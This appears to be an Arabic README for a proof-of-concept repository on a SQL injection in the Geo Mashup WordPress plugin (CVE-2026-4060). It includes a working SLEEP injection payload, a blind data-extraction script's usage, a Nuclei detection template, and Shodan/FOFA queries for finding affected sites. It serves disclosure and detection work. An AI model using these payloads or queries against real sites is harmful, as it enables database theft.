CVE-2026-4060 — Geo Mashup ≤ 1.13.18 ثغرة حقن SQL غير مصادق عليها (PoC)

المهاجمون غير المصادق عليهم يمكنهم حقن استعلامات SQL عشوائية في جملة ORDER BY عبر معامل sort في نقطة النهاية render-map الخاصة بـ Geo Mashup، مما يسمح باستخراج عمى بيانات استناداً إلى الوقت من قاعدة البيانات الحساسة.

جدول المحتويات

• نظرة عامة على الثغرة
• بيئة الاختبار
• كيفية التشغيل
• نتائج الاختبار
• التخفيف
• الكشف
• الجدول الزمني
• المراجع

نظرة عامة على الثغرة

تفاصيل فنية

يتم تمرير معامل sort الذي تستقبله نقطة النهاية render-map مباشرة إلى استدعاء $wpdb->get_results() دون تعقيم:

// render-map.php (مبسط)
$sort = $_GET['sort'];
$results = $wpdb->get_results(
    "SELECT ... FROM wp_geo_mashup_locations ... ORDER BY $sort"
);

نظرًا لأن $sort يتم إدراجه كما هو، يمكن للمهاجم حقن استعلام فرعي في جملة ORDER BY. يقوم wpdb في WordPress بتهريب علامات الاقتباس المفردة، لذلك يستخدم الإثبات (PoC) ORD(SUBSTRING(...)) مع مقارنات رقمية لتجاوز هذا القيد واستخراج البيانات العمياء استناداً إلى الوقت.

نقطة النهاية المعرضة للخطر:

GET /?geo_mashup_content=render-map&map_content=global&sort=<الحمولة>

بيئة الاختبار

بنية المختبر

┌─────────────────────────────────┐
│  المضيف (localhost:8080)        │
│                                 │
│  ┌─────────────┐  ┌──────────┐  │
│  │ WordPress   │  │ MariaDB  │  │
│  │ 6.8.2+PHP82 │──│  11.4    │  │
│  │ :80         │  │ :3306    │  │
│  └─────────────┘  └──────────┘  │
│       + Geo Mashup 1.13.18      │
└─────────────────────────────────┘

Geo Mashup 1.13.18 نشط في لوحة تحكم WordPress:

كيفية التشغيل

1. تشغيل المختبر

git clone https://github.com/ydking0911/CVE-2026-4060-PoC.git
cd CVE-2026-4060-PoC
bash setup.sh

setup.sh سيقوم بما يلي:

• تشغيل حاويات WordPress 6.8.2 + MariaDB 11.4
• تثبيت وتفعيل Geo Mashup 1.13.18 (الإصدار المعرض) عبر WP-CLI
• إنشاء منشور بعلامات جغرافية بحيث تعيد نقطة النهاية استجابة صالحة

بمجرد الانتهاء:

• الموقع: http://localhost:8080
• لوحة الإدارة: http://localhost:8080/wp-admin (المستخدم: admin / كلمة المرور: admin)

2. تأكيد الثغرة (حقن SLEEP)

time curl -s -o /dev/null \
  "http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

تأخير في الاستجابة لمدة ~8 ثوانٍ يؤكد وجود حقن SQL في ORDER BY.

3. استخراج البيانات (PoC)

# الوضع الافتراضي — طباعة النتائج المستخرجة فقط
python3 poc.py --url http://localhost:8080

# الوضع المفصل — عرض كل حمولة وزمن الاستجابة والحرف المستخرج
python3 poc.py --url http://localhost:8080 --verbose

# تأكيد SQLi فقط، تخطي استخراج البيانات
python3 poc.py --url http://localhost:8080 --confirm-only

4. تشغيل قالب كشف Nuclei

nuclei -t nuclei/CVE-2026-4060.yaml -u http://localhost:8080

5. إيقاف المختبر

docker compose down -v

نتائج الاختبار

إيجابية حقيقية (TP) — هدف معرض

TP-1: تأكيد حقن ORDER BY SLEEP(8)

حقن استعلام فرعي SLEEP(8) عبر معامل sort ينتج عنه تأخير في الاستجابة لمدة ~8 ثوانٍ.

time curl -s -o /dev/null \
  "http://localhost:8080/?...&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29"

TP-2: استخراج البيانات (وضع مفصل)

الإثبات (PoC) يستخرج البيانات حرفاً بحرف باستخدام مقارنات ORD(SUBSTRING(...)): إرسال الحمولة → قياس زمن الاستجابة → تأكيد الحرف عند تشغيل SLEEP.

python3 poc.py --url http://localhost:8080 --verbose

البيانات المستخرجة:

TP-3: كشف قالب Nuclei

[CVE-2026-4060] [http] [high]
http://localhost:8080/?geo_mashup_content=render-map&map_content=global&sort=%28SELECT%280%29FROM%28SELECT%28SLEEP%288%29%29%29a%29

تم الفحص في 8.07 ثانية. تم العثور على تطابق واحد.

إيجابية خاطئة (FP) — هدف غير معرض

يستخدم قالب Nuclei تدفقاً من خطوتين لمنع النتائج الإيجابية الخاطئة.

FP-1: Geo Mashup غير مثبت

إذا أرجع readme.txt خطأ 404 في الخطوة الأولى، يخرج الفحص فوراً دون إرسال حمولة SQL.

تم الفحص في 62 مللي ثانية. لم يتم العثور على تطابقات.   ✅

FP-2: الإصدار المصلح (≥ 1.13.19)

التحقق من إصدار الإضافة عبر readme.txt:

إذا فشل compare_versions(version, '<= 1.13.18')، يتم تخطي الخطوة الثانية بالكامل.

تم الفحص في 19 مللي ثانية. لم يتم العثور على تطابقات.   ✅

التخفيف

التصحيح: plugins.trac.wordpress.org/changeset/3503627

الكشف

قالب Nuclei: nuclei/CVE-2026-4060.yaml

تدفق الكشف:

الخطوة 1: GET /wp-content/plugins/geo-mashup/readme.txt
        → تأكيد وجود الإضافة + الإصدار <= 1.13.18

الخطوة 2: GET /?geo_mashup_content=render-map&...&sort=SLEEP(8)
        → الحالة 200 + GeoMashup.createMap + المدة >= 8 ثوانٍ

Shodan / FOFA:

Shodan: http.html:"geo-mashup"
FOFA:   body="geo-mashup"

الجدول الزمني

المراجع

• NVD — CVE-2026-4060
• إعلان Wordfence
• تغييرات الإضافة (الإصلاح)
• CWE-89

إخلاء المسؤولية

هذا المستودع مخصص لأغراض الاختبار الأمني التعليمي والمصرح به فقط.
لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
المؤلف غير مسؤول عن أي استخدام خاطئ لهذه المواد.